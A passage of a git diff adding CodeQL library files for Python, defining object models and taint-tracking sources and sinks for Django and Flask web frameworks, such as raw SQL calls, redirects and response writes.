) + } + +} + +/** String objects (unicode or bytes). + * Includes those occurring in the source as a literal + * or in a builtin module as a value. + */ +class StringObject extends Object { + + StringObject() { + py_cobjecttypes(this, theUnicodeType()) or + py_cobjecttypes(this, theBytesType()) + } + + /** Whether this string is composed entirely of ascii encodable characters */ + predicate isAscii() { + this.getText().regexpMatch("^\\p{ASCII}*$") + } + + override boolean booleanValue() { + this.getText() = "" and result = false + or + this.getText() != "" and result = true + } + + /** Gets the text for this string */ + cached string getText() { + exists(string quoted_string | + py_cobjectnames(this, quoted_string) and + result = quoted_string.regexpCapture("[bu]'([\\s\\S]*)'", 1) + ) + } + +} + +/** Sequence objects (lists and tuples) + * Includes those occurring in the source as a literal + * or in a builtin module as a value. + */ +abstract class SequenceObject extends Object { + + /** Gets the length of this sequence */ + int getLength() { + result = strictcount(this.getBuiltinElement(_)) + or + result = strictcount(this.getSourceElement(_)) + } + + /** Gets the nth item of this builtin sequence */ + Object getBuiltinElement(int n) { + py_citems(this, n, result) + } + + /** Gets the nth source element of this sequence */ + ControlFlowNode getSourceElement(int n) { + result = this.(SequenceNode).getElement(n) + } + + Object getInferredElement(int n) { + result = this.getBuiltinElement(n) + or + this.getSourceElement(n).refersTo(result) + } + +} + +class TupleObject extends SequenceObject { + + TupleObject() { + py_cobjecttypes(this, theTupleType()) + or + this instanceof TupleNode + or + exists(Function func | func.getVararg().getAFlowNode() = this) + } + +} + +class NonEmptyTupleObject extends TupleObject { + + NonEmptyTupleObject() { + exists(Function func | func.getVararg().getAFlowNode() = this) + } + + override boolean booleanValue() { + result = true + } + +} + + +class ListObject extends SequenceObject { + + ListObject() { + py_cobjecttypes(this, theListType()) + or + this instanceof ListNode + } + +} + +/** The `builtin` module */ +BuiltinModuleObject theBuiltinModuleObject() { + py_special_objects(result, "builtin_module_2") and major_version() = 2 + or + py_special_objects(result, "builtin_module_3") and major_version() = 3 +} + +/** The `sys` module */ +BuiltinModuleObject theSysModuleObject() { + py_special_objects(result, "sys") +} + +Object builtin_object(string name) { + py_cmembers_versioned(theBuiltinModuleObject(), name, result, major_version().toString()) +} + +/** The built-in object None */ + Object theNoneObject() { + py_special_objects(result, "None") +} + +/** The built-in object True */ + Object theTrueObject() { + py_special_objects(result, "True") +} + +/** The built-in object False */ + Object theFalseObject() { + py_special_objects(result, "False") +} + +/** The builtin function apply (Python 2 only) */ + Object theApplyFunction() { + result = builtin_object("apply") +} + +/** The builtin function hasattr */ + Object theHasattrFunction() { + result = builtin_object("hasattr") +} + +/** The builtin function len */ + Object theLenFunction() { + result = builtin_object("len") +} + +/** The builtin function format */ + Object theFormatFunction() { + result = builtin_object("format") +} + +/** The builtin function open */ + Object theOpenFunction() { + result = builtin_object("open") +} + +/** The builtin function print (Python 2.7 upwards) */ + Object thePrintFunction() { + result = builtin_object("print") +} + +/** The builtin function input (Python 2 only) */ + Object theInputFunction() { + result = builtin_object("input") +} + +/** The builtin function locals */ + Object theLocalsFunction() { + py_special_objects(result, "locals") +} + +/** The builtin function globals */ + Object theGlobalsFunction() { + py_special_objects(result, "globals") +} + +/** The builtin function sys.exit */ + Object theExitFunctionObject() { + py_cmembers_versioned(theSysModuleObject(), "exit", result, major_version().toString()) +} + +/** The NameError class */ +Object theNameErrorType() { + result = builtin_object("NameError") +} + +/** The StandardError class */ +Object theStandardErrorType() { + result = builtin_object("StandardError") +} + +/** The IndexError class */ +Object theIndexErrorType() { + result = builtin_object("IndexError") +} + +/** The LookupError class */ +Object theLookupErrorType() { + result = builtin_object("LookupError") +} + +/** The named quitter object (quit or exit) in the builtin namespace */ +Object quitterObject(string name) { + (name = "quit" or name = "exit") and + result = builtin_object(name) +} + +/** The builtin object `NotImplemented`. Not be confused with `NotImplementedError`. */ +Object theNotImplementedObject() { + result = builtin_object("NotImplemented") +} + +Object theEmptyTupleObject() { + py_cobjecttypes(result, theTupleType()) and not py_citems(result, _, _) +} + + +private ClassObject comprehension(Expr e) { + e instanceof ListComp and result = theListType() + or + e instanceof SetComp and result = theSetType() + or + e instanceof DictComp and result = theDictType() + or + e instanceof GeneratorExp and result = theGeneratorType() +} + +private ClassObject collection_literal(Expr e) { + e instanceof List and result = theListType() + or + e instanceof Set and result = theSetType() + or + e instanceof Dict and result = theDictType() + or + e instanceof Tuple and result = theTupleType() +} + +private ClassObject string_literal(Expr e) { + e instanceof Bytes and result = theBytesType() + or + e instanceof Unicode and result = theUnicodeType() +} + +Object theUnknownType() { + py_special_objects(result, "_semmle_unknown_type") +} + diff --git a/python/ql/src/semmle/python/types/Properties.qll b/python/ql/src/semmle/python/types/Properties.qll new file mode 100644 index 00000000000..01a6e07155d --- /dev/null +++ b/python/ql/src/semmle/python/types/Properties.qll @@ -0,0 +1,144 @@ +import python + +/** A Python property: + * @property + * def f(): + * .... + * + * Also any instances of types.GetSetDescriptorType (which are equivalent, but implemented in C) + */ +abstract class PropertyObject extends Object { + + PropertyObject() { + property_getter(this, _) + or + py_cobjecttypes(this, theBuiltinPropertyType()) + } + + /** Gets the name of this property */ + abstract string getName(); + + /** Gets the getter of this property */ + abstract Object getGetter(); + + /** Gets the setter of this property */ + abstract Object getSetter(); + + /** Gets the deleter of this property */ + abstract Object getDeleter(); + + override string toString() { + result = "Property " + this.getName() + } + + /** Whether this property is read-only. */ + predicate isReadOnly() { + not exists(this.getSetter()) + } + + /** Gets an inferred type of this property. + * That is the type returned by its getter function, + * not the type of the property object which is types.PropertyType. */ + abstract ClassObject getInferredPropertyType(); + +} + + +class PythonPropertyObject extends PropertyObject { + + PythonPropertyObject() { + property_getter(this, _) + } + + override string getName() { + result = this.getGetter().getName() + } + + /** Gets the getter function of this property */ + override FunctionObject getGetter() { + property_getter(this, result) + } + + override ClassObject getInferredPropertyType() { + result = this.getGetter().getAnInferredReturnType() + } + + /** Gets the setter function of this property */ + override FunctionObject getSetter() { + property_setter(this, result) + } + + /** Gets the deleter function of this property */ + override FunctionObject getDeleter() { + property_deleter(this, result) + } + +} + +class BuiltinPropertyObject extends PropertyObject { + + BuiltinPropertyObject() { + py_cobjecttypes(this, theBuiltinPropertyType()) + } + + override string getName() { + py_cobjectnames(this, result) + } + + /** Gets the getter method wrapper of this property */ + override Object getGetter() { + py_cmembers_versioned(this, "__get__", result, major_version().toString()) + } + + override ClassObject getInferredPropertyType() { + none() + } + + /** Gets the setter method wrapper of this property */ + override Object getSetter() { + py_cmembers_versioned(this, "__set__", result, major_version().toString()) + } + + /** Gets the deleter method wrapper of this property */ + override Object getDeleter() { + py_cmembers_versioned(this, "__delete__", result, major_version().toString()) + } + +} + +private predicate property_getter(CallNode decorated, FunctionObject getter) { + decorated.getFunction().refersTo(thePropertyType()) + and + decorated.getArg(0).refersTo(getter) +} + +private predicate property_setter(CallNode decorated, FunctionObject setter) { + property_getter(decorated, _) + and + exists(CallNode setter_call, AttrNode prop_setter | + prop_setter.getObject("setter").refersTo((Object)decorated) | + setter_call.getArg(0).refersTo(setter) + and + setter_call.getFunction() = prop_setter + ) + or + decorated.getFunction().refersTo(thePropertyType()) + and + decorated.getArg(1).refersTo(setter) +} + +private predicate property_deleter(CallNode decorated, FunctionObject deleter) { + property_getter(decorated, _) + and + exists(CallNode deleter_call, AttrNode prop_deleter | + prop_deleter.getObject("deleter").refersTo((Object)decorated) | + deleter_call.getArg(0).refersTo(deleter) + and + deleter_call.getFunction() = prop_deleter + ) + or + decorated.getFunction().refersTo(thePropertyType()) + and + decorated.getArg(2).refersTo(deleter) +} + diff --git a/python/ql/src/semmle/python/types/Version.qll b/python/ql/src/semmle/python/types/Version.qll new file mode 100644 index 00000000000..7d722167a5b --- /dev/null +++ b/python/ql/src/semmle/python/types/Version.qll @@ -0,0 +1,169 @@ +import python +import semmle.python.GuardedControlFlow +private import semmle.python.pointsto.PointsTo + +/** A Version of the Python interpreter. + * Currently only 2.7 or 3.x but may include different sets of versions in the future. */ +class Version extends int { + + Version() { + this = 2 or this = 3 + } + + /** Holds if this version (or set of versions) includes the version `major`.`minor` */ + predicate includes(int major, int minor) { + this = 2 and major = 2 and minor = 7 + or + this = 3 and major = 3 and minor in [4..7] + } + +} + +Object theSysVersionInfoTuple() { + py_cmembers_versioned(theSysModuleObject(), "version_info", result, major_version().toString()) +} + +Object theSysHexVersionNumber() { + py_cmembers_versioned(theSysModuleObject(), "hexversion", result, major_version().toString()) +} + +Object theSysVersionString() { + py_cmembers_versioned(theSysModuleObject(), "version", result, major_version().toString()) +} + + +string reversed(Cmpop op) { + op instanceof Lt and result = ">" + or + op instanceof Gt and result = "<" + or + op instanceof GtE and result = "<=" + or + op instanceof LtE and result = ">=" + or + op instanceof Eq and result = "==" + or + op instanceof NotEq and result = "!=" +} + + +/** DEPRECATED: + * A test on the major version of the Python interpreter + * */ +class VersionTest extends @py_flow_node { + + string toString() { + result = "VersionTest" + } + + VersionTest() { + PointsTo::version_const(this, _, _) + } + + predicate isTrue() { + PointsTo::version_const(this, _, true) + } + + AstNode getNode() { + result = this.(ControlFlowNode).getNode() + } + +} + +/** A guard on the major version of the Python interpreter */ +class VersionGuard extends ConditionBlock { + + VersionGuard() { + exists(VersionTest v | + PointsTo::points_to(this.getLastNode(), _, v, _, _) or + PointsTo::points_to(this.getLastNode(), _, _, _, v) + ) + } + + predicate isTrue() { + exists(VersionTest v | + v.isTrue() | + PointsTo::points_to(this.getLastNode(), _, v, _, _) or + PointsTo::points_to(this.getLastNode(), _, _, _, v) + ) + } + +} + +string os_name(StrConst s) { + exists(string t | + t = s.getText() | + t = "Darwin" and result = "darwin" + or + t = "Windows" and result = "win32" + or + t = "Linux" and result = "linux" + or + not t = "Darwin" and not t = "Windows" and not t = "Linux" and result = t + ) +} + +predicate get_platform_name(Expr e) { + exists(Attribute a, Name n | a = e and n = a.getObject() | + n.getId() = "sys" and a.getName() = "platform" + ) + or + exists(Call c, Attribute a, Name n | + c = e and a = c.getFunc() and n = a.getObject() | + a.getName() = "system" and n.getId() = "platform" + ) +} + +predicate os_compare(ControlFlowNode f, string name) { + exists(Compare c, Expr l, Expr r, Cmpop op | + c = f.getNode() and + l = c.getLeft() and + r = c.getComparator(0) and + op = c.getOp(0) | + (op instanceof Eq or op instanceof Is) + and + ( get_platform_name(l) and name = os_name(r) + or + get_platform_name(r) and name = os_name(l) + ) + ) +} + +class OsTest extends @py_flow_node { + + OsTest() { + os_compare(this, _) + } + + string getOs() { + os_compare(this, result) + } + + string toString() { + result = "OsTest" + } + + AstNode getNode() { + result = this.(ControlFlowNode).getNode() + } + +} + + +class OsGuard extends ConditionBlock { + + OsGuard() { + exists(OsTest t | + PointsTo::points_to(this.getLastNode(), _, theBoolType(), t, _) + ) + } + + string getOs() { + exists(OsTest t | + PointsTo::points_to(this.getLastNode(), _, theBoolType(), t, _) and result = t.getOs() + ) + } + +} + + diff --git a/python/ql/src/semmle/python/values/StringAttributes.qll b/python/ql/src/semmle/python/values/StringAttributes.qll new file mode 100644 index 00000000000..86cc29dc5b3 --- /dev/null +++ b/python/ql/src/semmle/python/values/StringAttributes.qll @@ -0,0 +1,90 @@ +import python + +predicate string_attribute_all(ControlFlowNode n, string attr) { + (n.getNode() instanceof Unicode or n.getNode() instanceof Bytes) and attr = "const" + or + exists(Object s | + n.refersTo(s, theBytesType(), _) and attr = "bytes" and + // We are only interested in bytes if they may cause an exception if + // implicitly converted to unicode. ASCII is safe. + not s.(StringObject).isAscii() + ) +} + +predicate tracked_object(ControlFlowNode obj, string attr) { + tracked_object_all(obj, attr) + or + tracked_object_any(obj, attr) +} + +predicate open_file(Object obj) { + obj.(CallNode).getFunction().refersTo(theOpenFunction()) +} + +predicate string_attribute_any(ControlFlowNode n, string attr) { + attr = "user-input" and + exists(Object input | + n.(CallNode).getFunction().refersTo(input) | + if major_version() = 2 then + input = builtin_object("raw_input") + else + input = theInputFunction() + ) + or + attr = "file-input" and + exists(Object fd | n.(CallNode).getFunction().(AttrNode).getObject("read").refersTo(fd) | + open_file(fd) + ) + or + n.refersTo(_, theUnicodeType(), _) and attr = "unicode" +} + +predicate tracked_object_any(ControlFlowNode obj, string attr) { + string_attribute_any(obj, attr) + or + exists(ControlFlowNode other | + tracking_step(other, obj) | + tracked_object_any(other, attr) + ) +} + +predicate tracked_object_all(ControlFlowNode obj, string attr) { + string_attribute_all(obj, attr) + or + forex(ControlFlowNode other | + tracking_step(other, obj) | + tracked_object_all(other, attr) + ) +} + +predicate tracked_call_step(ControlFlowNode ret, ControlFlowNode call) { + exists(FunctionObject func, Return r | + func.getACall() = call and + func.getFunction() = r.getScope() and + r.getValue() = ret.getNode() + ) +} + +ControlFlowNode sequence_for_iterator(ControlFlowNode f) { + exists(For for | f.getNode() = for.getTarget() | + result.getNode() = for.getIter() and + result.getBasicBlock().dominates(f.getBasicBlock()) + ) +} + +pragma [noinline] +private predicate tracking_step(ControlFlowNode src, ControlFlowNode dest) { + src = dest.(BinaryExprNode).getAnOperand() + or + src = dest.(UnaryExprNode).getOperand() + or + src = sequence_for_iterator(dest) + or + src = dest.(AttrNode).getObject() + or + src = dest.(SubscriptNode).getValue() + or + tracked_call_step(src, dest) + or + dest.refersTo((Object)src) +} diff --git a/python/ql/src/semmle/python/web/Http.qll b/python/ql/src/semmle/python/web/Http.qll new file mode 100644 index 00000000000..5789fda7d86 --- /dev/null +++ b/python/ql/src/semmle/python/web/Http.qll @@ -0,0 +1,25 @@ +import python +import semmle.python.security.TaintTracking +import semmle.python.security.strings.External + +/** Generic taint source from a http request */ +abstract class SimpleHttpRequestTaintSource extends TaintSource { + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringKind + } + +} + +/** Gets an http verb */ +string httpVerb() { + result = "GET" or result = "POST" or + result = "PUT" or result = "PATCH" or + result = "DELETE" or result = "OPTIONS" or + result = "HEAD" +} + +/** Gets an http verb, in lower case */ +string httpVerbLower() { + result = httpVerb().toLowerCase() +} diff --git a/python/ql/src/semmle/python/web/HttpRedirect.qll b/python/ql/src/semmle/python/web/HttpRedirect.qll new file mode 100644 index 00000000000..f3df7cac80d --- /dev/null +++ b/python/ql/src/semmle/python/web/HttpRedirect.qll @@ -0,0 +1,8 @@ +import python + +import semmle.python.security.strings.Basic + +import semmle.python.web.django.Redirect +import semmle.python.web.flask.Redirect +import semmle.python.web.tornado.Redirect +import semmle.python.web.pyramid.Redirect diff --git a/python/ql/src/semmle/python/web/HttpRequest.qll b/python/ql/src/semmle/python/web/HttpRequest.qll new file mode 100644 index 00000000000..1566ac645dc --- /dev/null +++ b/python/ql/src/semmle/python/web/HttpRequest.qll @@ -0,0 +1,5 @@ +import semmle.python.web.django.Request +import semmle.python.web.flask.Request +import semmle.python.web.tornado.Request +import semmle.python.web.pyramid.Request +import semmle.python.web.twisted.Request diff --git a/python/ql/src/semmle/python/web/HttpResponse.qll b/python/ql/src/semmle/python/web/HttpResponse.qll new file mode 100644 index 00000000000..f38836d768b --- /dev/null +++ b/python/ql/src/semmle/python/web/HttpResponse.qll @@ -0,0 +1,5 @@ +import semmle.python.web.django.Response +import semmle.python.web.flask.Response +import semmle.python.web.pyramid.Response +import semmle.python.web.tornado.Response +import semmle.python.web.twisted.Response diff --git a/python/ql/src/semmle/python/web/django/Db.qll b/python/ql/src/semmle/python/web/django/Db.qll new file mode 100644 index 00000000000..e51955b154f --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Db.qll @@ -0,0 +1,65 @@ +import python +import semmle.python.security.injection.Sql + +/** A taint kind representing a django cursor object. + */ +class DjangoDbCursor extends DbCursor { + + DjangoDbCursor() { + this = "django.db.connection.cursor" + } + +} + +private Object theDjangoConnectionObject() { + any(ModuleObject m | m.getName() = "django.db").getAttribute("connection") = result +} + +/** A kind of taint source representing sources of django cursor objects. + */ +class DjangoDbCursorSource extends DbConnectionSource { + + DjangoDbCursorSource() { + exists(AttrNode cursor | + this.(CallNode).getFunction()= cursor and + cursor.getObject("cursor").refersTo(theDjangoConnectionObject()) + ) + } + + override string toString() { + result = "django.db.connection.cursor" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof DjangoDbCursor + } + +} + + +ClassObject theDjangoRawSqlClass() { + result = any(ModuleObject m | m.getName() = "django.db.models.expressions").getAttribute("RawSQL") +} + +/** + * A sink of taint on calls to `django.db.models.expressions.RawSQL`. This + * allows arbitrary SQL statements to be executed, which is a security risk. + */ + +class DjangoRawSqlSink extends TaintSink { + DjangoRawSqlSink() { + exists(CallNode call | + call = theDjangoRawSqlClass().getACall() and + this = call.getArg(0) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django.db.models.expressions.RawSQL(sink,...)" + } +} + diff --git a/python/ql/src/semmle/python/web/django/Model.qll b/python/ql/src/semmle/python/web/django/Model.qll new file mode 100644 index 00000000000..d3b145e3a46 --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Model.qll @@ -0,0 +1,156 @@ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic +import semmle.python.web.Http + +/** A django model class */ +class DjangoModel extends ClassObject { + + DjangoModel() { + any(ModuleObject m | m.getName() = "django.db.models").getAttribute("Model") = this.getAnImproperSuperType() + } + +} + +/** A "taint" for django database tables */ +class DjangoDbTableObjects extends TaintKind { + + DjangoDbTableObjects() { + this = "django.db.models.Model.objects" + } + + override TaintKind getTaintOfMethodResult(string name) { + result = this and + ( + name = "filter" or + name = "exclude" or + name = "annotate" or + name = "order_by" or + name = "reverse" or + name = "distinct" or + name = "values" or + name = "values_list" or + name = "dates" or + name = "datetimes" or + name = "none" or + name = "all" or + name = "union" or + name = "intersection" or + name = "difference" or + name = "select_related" or + name = "prefetch_related" or + name = "extra" or + name = "defer" or + name = "only" or + name = "using" or + name = "select_for_update" or + name = "raw" + ) + } +} + +/** Django model objects, which are sources of django database table "taint" */ +class DjangoModelObjects extends TaintSource { + + DjangoModelObjects() { + this.(AttrNode).isLoad() and this.(AttrNode).getObject("objects").refersTo(any(DjangoModel m)) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof DjangoDbTableObjects + } + + override string toString() { + result = "django.db.models.Model.objects" + } + +} + +/** A write to a field of a django model, which is a vulnerable to external data. */ +class DjangoModelFieldWrite extends TaintSink { + + DjangoModelFieldWrite() { + exists(AttrNode attr, DjangoModel model | + this = attr and attr.isStore() and attr.getObject(_).refersTo(model) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django model field write" + } + +} + +/** A direct reference to a django model object, which is a vulnerable to external data. */ +class DjangoModelDirectObjectReference extends TaintSink { + + DjangoModelDirectObjectReference() { + exists(CallNode objects_get_call, ControlFlowNode objects | + this = objects_get_call.getAnArg() | + objects_get_call.getFunction().(AttrNode).getObject("get") = objects and + any(DjangoDbTableObjects objs).taints(objects) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django model object reference" + } +} + +/** + * A call to the `raw` method on a django model. This allows a raw SQL query + * to be sent to the database, which is a security risk. + */ + +class DjangoModelRawCall extends TaintSink { + + DjangoModelRawCall() { + exists(CallNode raw_call, ControlFlowNode queryset | + this = raw_call.getArg(0) | + raw_call.getFunction().(AttrNode).getObject("raw") = queryset and + any(DjangoDbTableObjects objs).taints(queryset) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django.models.QuerySet.raw(sink,...)" + } +} + +/** + * A call to the `extra` method on a django model. This allows a raw SQL query + * to be sent to the database, which is a security risk. + */ + + +class DjangoModelExtraCall extends TaintSink { + + DjangoModelExtraCall() { + exists(CallNode extra_call, ControlFlowNode queryset | + this = extra_call.getArg(0) | + extra_call.getFunction().(AttrNode).getObject("extra") = queryset and + any(DjangoDbTableObjects objs).taints(queryset) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django.models.QuerySet.extra(sink,...)" + } +} diff --git a/python/ql/src/semmle/python/web/django/Redirect.qll b/python/ql/src/semmle/python/web/django/Redirect.qll new file mode 100644 index 00000000000..a78c7a765ec --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Redirect.qll @@ -0,0 +1,32 @@ +/** Provides class representing the `django.redirect` function. + * This module is intended to be imported into a taint-tracking query + * to extend `TaintSink`. + */ +import python + +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic +private import semmle.python.web.django.Shared + + +/** + * Represents an argument to the `django.redirect` function. + */ +class DjangoRedirect extends TaintSink { + + override string toString() { + result = "django.redirect" + } + + DjangoRedirect() { + exists(CallNode call | + redirect().getACall() = call and + this = call.getAnArg() + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + +} diff --git a/python/ql/src/semmle/python/web/django/Request.qll b/python/ql/src/semmle/python/web/django/Request.qll new file mode 100644 index 00000000000..67b82981fb2 --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Request.qll @@ -0,0 +1,164 @@ +import python +import semmle.python.regex + +import semmle.python.security.TaintTracking +import semmle.python.web.Http + + +/** A django.request.HttpRequest object */ +class DjangoRequest extends TaintKind { + + DjangoRequest() { + this = "django.request.HttpRequest" + } + + override TaintKind getTaintOfAttribute(string name) { + (name = "GET" or name = "POST") and + result instanceof DjangoQueryDict + } + + override TaintKind getTaintOfMethodResult(string name) { + + (name = "body" or name = "path") and + result instanceof ExternalStringKind + } +} + +/* Helper for getTaintForStep() */ +pragma [noinline] +private predicate subscript_taint(SubscriptNode sub, ControlFlowNode obj, TaintKind kind) { + sub.getValue() = obj and + kind instanceof ExternalStringKind +} + +/** A django.request.QueryDict object */ +class DjangoQueryDict extends TaintKind { + + DjangoQueryDict() { + this = "django.http.request.QueryDict" + } + + override TaintKind getTaintForFlowStep(ControlFlowNode fromnode, ControlFlowNode tonode) { + this.taints(fromnode) and + subscript_taint(tonode, fromnode, result) + } + + override TaintKind getTaintOfMethodResult(string name) { + name = "get" and result instanceof ExternalStringKind + } + +} + +abstract class DjangoRequestSource extends TaintSource { + + override string toString() { + result = "Django request source" + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof DjangoRequest + } + +} + +/** Function based views + * https://docs.djangoproject.com/en/1.11/topics/http/views/ + */ +private class DjangoFunctionBasedViewRequestArgument extends DjangoRequestSource { + + DjangoFunctionBasedViewRequestArgument() { + exists(FunctionObject view | + url_dispatch(_, _, view) and + this = view.getFunction().getArg(0).asName().getAFlowNode() + ) + } + +} + +/** Class based views + * https://docs.djangoproject.com/en/1.11/topics/class-based-views/ + * + */ +private class DjangoView extends ClassObject { + + DjangoView() { + any(ModuleObject m | m.getName() = "django.views.generic").getAttribute("View") = this.getAnImproperSuperType() + } +} + +private FunctionObject djangoViewHttpMethod() { + exists(DjangoView view | + view.lookupAttribute(httpVerbLower()) = result + ) +} + +class DjangoClassBasedViewRequestArgument extends DjangoRequestSource { + + DjangoClassBasedViewRequestArgument() { + this = djangoViewHttpMethod().getFunction().getArg(1).asName().getAFlowNode() + } + +} + + + + +/* *********** Routing ********* */ + + +/* Function based views */ +predicate url_dispatch(CallNode call, ControlFlowNode regex, FunctionObject view) { + exists(FunctionObject url | + any(ModuleObject m | m.getName() = "django.conf.urls").getAttribute("url") = url and + url.getArgumentForCall(call, 0) = regex and + url.getArgumentForCall(call, 1).refersTo(view) + ) +} + + +class UrlRegex extends RegexString { + + UrlRegex() { + url_dispatch(_, this.getAFlowNode(), _) + } + +} + +class UrlRouting extends CallNode { + + UrlRouting() { + url_dispatch(this, _, _) + } + + FunctionObject getViewFunction() { + url_dispatch(this, _, result) + } + + string getNamedArgument() { + exists(UrlRegex regex | + url_dispatch(this, regex.getAFlowNode(), _) and + regex.getGroupName(_, _) = result + ) + } + +} + +/** An argument specified in a url routing table */ +class HttpRequestParameter extends TaintSource { + + HttpRequestParameter() { + exists(UrlRouting url | + this.(ControlFlowNode).getNode() = + url.getViewFunction().getFunction().getArgByName(url.getNamedArgument()) + ) + } + + override predicate isSourceOf(TaintKind kind) { + kind instanceof ExternalStringKind + } + + override string toString() { + result = "django.http.request.parameter" + } +} + diff --git a/python/ql/src/semmle/python/web/django/Response.qll b/python/ql/src/semmle/python/web/django/Response.qll new file mode 100644 index 00000000000..ed3833c0279 --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Response.qll @@ -0,0 +1,86 @@ +import python +import semmle.python.security.TaintTracking +import semmle.python.security.strings.Basic +private import semmle.python.web.django.Shared + + +/** A django.http.response.Response object + * This isn't really a "taint", but we use the value tracking machinery to + * track the flow of response objects. + */ +class DjangoResponse extends TaintKind { + + DjangoResponse() { + this = "django.response.HttpResponse" + } + +} + +private ClassObject theDjangoHttpResponseClass() { + result = any(ModuleObject m | m.getName() = "django.http.response").getAttribute("HttpResponse") and + not result = theDjangoHttpRedirectClass() +} + +/** Instantiation of a django response. */ +class DjangoResponseSource extends TaintSource { + + DjangoResponseSource() { + exists(ClassObject cls | + cls.getAnImproperSuperType() = theDjangoHttpResponseClass() and + cls.getACall() = this + ) + } + + override predicate isSourceOf(TaintKind kind) { kind instanceof DjangoResponse } + + override string toString() { + result = "django.http.response.HttpResponse" + } +} + +/** A write to a django response, which is vulnerable to external data (xss) */ +class DjangoResponseWrite extends TaintSink { + + DjangoResponseWrite() { + exists(AttrNode meth, CallNode call | + call.getFunction() = meth and + any(DjangoResponse repsonse).taints(meth.getObject("write")) and + this = call.getArg(0) + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + + override string toString() { + result = "django.Response.write(...)" + } + +} + +/** An argument to initialization of a django response, which is vulnerable to external data (xss) */ +class DjangoResponseContent extends TaintSink { + + DjangoResponseContent() { + exists(CallNode call, ClassObject cls | + cls.getAnImproperSuperType() = theDjangoHttpResponseClass() and + call.getFunction().refersTo(cls) | + call.getArg(0) = this + or + call.getArgByName("content") = this + ) + } + + override predicate sinks(TaintKind kind) { + kind instanceof StringKind + } + + override string toString() { + result = "django.Response(...)" + } + +} + + + diff --git a/python/ql/src/semmle/python/web/django/Sanitizers.qll b/python/ql/src/semmle/python/web/django/Sanitizers.qll new file mode 100644 index 00000000000..db7f8aff8f8 --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Sanitizers.qll @@ -0,0 +1,7 @@ +import python + + +/* Sanitizers + * No django sanitizers implemented yet. + */ + diff --git a/python/ql/src/semmle/python/web/django/Shared.qll b/python/ql/src/semmle/python/web/django/Shared.qll new file mode 100644 index 00000000000..395c09ec958 --- /dev/null +++ b/python/ql/src/semmle/python/web/django/Shared.qll @@ -0,0 +1,9 @@ +import python + +FunctionObject redirect() { + result = any(ModuleObject m | m.getName() = "django.shortcuts").getAttribute("redirect") +} + +ClassObject theDjangoHttpRedirectClass() { + result = any(ModuleObject m | m.getName() = "django.http.response").getAttribute("HttpResponseRedirectBase") +} diff --git a/python/ql/src/semmle/python/web/flask/General.qll b/python/ql/src/semmle/python/web/flask/General.qll new file mode 100644 index 00000000000..febe7372b9b --- /dev/null +++ b/python/ql/src/semmle/python/web/flask/General.qll @@ -0,0 +1,117 @@ +import python +import semmle.python.web.Http + +/** The flask module */ +ModuleObject theFlaskModule() { + result = any(ModuleObject m | m.getName() = "flask") +} + +/** The flask app class */ +ClassObject theFlaskClass() { + result = theFlaskModule().getAttribute("Flask") +} + +/** The flask MethodView class */ +ClassObject theFlaskMethodViewClass() { + result = any(ModuleObject m | m.getName() = "flask.views").getAttribute("MethodView") +} + +ClassObject theFlaskReponseClass() { + result = theFlaskModule().getAttribute("Response") +} + +/** Holds if `route` is routed to `func` + * by decorating `func` with `app.route(route)` + */ +predicate app_route(ControlFlowNode route, Function func) { + exists(CallNode route_call, CallNode decorator_call | + route_call.getFunction().(AttrNode).getObject("route").refersTo(_, theFlaskClass(), _) and + decorator_call.getFunction() = route_call and + route_call.getArg(0) = route and + decorator_call.getArg(0).getNode().(FunctionExpr).getInnerScope() = func + ) +} + +/* Helper for add_url_rule */ +private predicate add_url_rule_call(ControlFlowNode regex, ControlFlowNode callable) { + exists(CallNode call | + call.getFunction().(AttrNode).getObject("add_url_rule").refersTo(_, theFlaskClass(), _) and + regex = call.getArg(0) | + callable = call.getArg(2) or + callable = call.getArgByName("view_func") + ) +} + +/** Holds if urls matching `regex` are routed to `func` */ +predicate add_url_rule(ControlFlowNode regex, Function func) { + exists(ControlFlowNode callable | + add_url_rule_call(regex, callable) + | + exists(PyFunctionObject f | f.getFunction() = func and callable.refersTo(f)) + or + /* MethodView.as_view() */ + exists(MethodViewClass view_cls | + view_cls.asTaint().taints(callable) | + func = view_cls.lookupAttribute(httpVerbLower()).(FunctionObject).getFunction() + ) + /* TO DO -- Handle Views that aren't MethodViews */ + ) +} + +/** Holds if urls matching `regex` are routed to `func` using + * any of flask's routing mechanisms. + */ +predicate flask_routing(ControlFlowNode regex, Function func) { + app_route(regex, func) + or + add_url_rule(regex, func) +} + +/** A class that extends flask.views.MethodView */ +private class MethodViewClass extends ClassObject { + + MethodViewClass() { + this.getAnImproperSuperType() = theFlaskMethodViewClass() + } + + /* As we are restricted to strings for taint kinds, we need to map these classes to strings. */ + string taintString() { + result = "flask/" + this.getQualifiedName() + ".as.view" + } + + /* As we are restricted to strings for taint kinds, we need to map these classes to strings. */ + TaintKind asTaint() { + result = this.taintString() + } +} + +private class MethodViewTaint extends TaintKind { + + MethodViewTaint() { + any(MethodViewClass cls).taintString() = this + } +} + +/** A source of method view "taint"s. */ +private class AsView extends TaintSource { + + AsView() { + exists(ClassObject view_class | + view_class.getAnImproperSuperType() = theFlaskMethodViewClass() and + this.(CallNode).getFunction().(AttrNode).getObject("as_view").refersTo(view_class) + ) + } + + override string toString() { + result = "flask.MethodView.as_view()" + } + + override predicate isSourceOf(TaintKind kind) { + 